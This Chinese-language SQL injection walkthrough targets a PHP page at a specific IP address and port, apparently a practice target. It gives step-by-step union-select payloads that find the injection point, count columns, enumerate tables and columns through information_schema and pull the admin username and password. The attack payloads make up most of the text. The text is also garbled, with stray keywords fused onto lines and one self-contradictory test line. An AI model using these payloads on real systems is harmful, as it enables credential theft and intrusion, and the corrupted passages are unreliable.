id=1',在1後面加',頁面出錯
id=1 and 1=1正常,id=1 and 1=2,頁面出錯
id=1 and 1='1'正常,id=1 and 1='1'頁面出錯
注:經過構造錯誤的語句,根據返回結果來判斷是否存在注入點php
information_schema
MySQL 5.0以上自帶的數據庫,記錄當前MySQL下全部數據庫名、表名、字段名mysql
,z)@@version,@@datadir,
``,@@version_compile_os,char(48))減小視覺污染,在某個回顯點不顯示內容
nullsql
注:查詢列名時,回顯點有可能會顯示出其餘數據庫中的同表名的列名,是由於其餘數據庫中可能存在同名的表
union select 1,2,3,4,5,6,7,8,9,10 from 表名
在回顯點選擇想要得到的字段名,如:
union select 1,2,3,4,password,6,7,8,9,10 from 表名數據庫
目標連接:http://120.203.13.75:6815/index.php服務器
找注入點:函數
http://120.203.13.75:6815/index.php?id=1 and 1=2
判斷字段數spa
http://120.203.13.75:6815/index.php?id=1 order by 2
一、2均正常顯示,3的時候出現異常,則當前表的字段數爲2code
判斷回顯點orm
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2
查相關內容(必定要在回顯點處查看!)
查數據庫名blog
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()
查數據庫版本(mysql>5.0,5.0 之後的版本纔有information_schema, information_schema存儲着數據庫名、表名、列的數據類型、訪問權限等)
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()
查表名
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查字段名
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
查出 admin 表裏 有 id username password 三個字段
查詢字段內容
構造
?id=1 and 1=2 union select 1,username from admin limit 0,1
構造
?id=1 and 1=2 union select 1,password from admin limit 1,1
limit 1,1 沒有回顯,說明只有一個用戶
構造
?id=1 and 1=2 union select 1,password from admin limit 0,1
如此,獲得了管理員帳號和密碼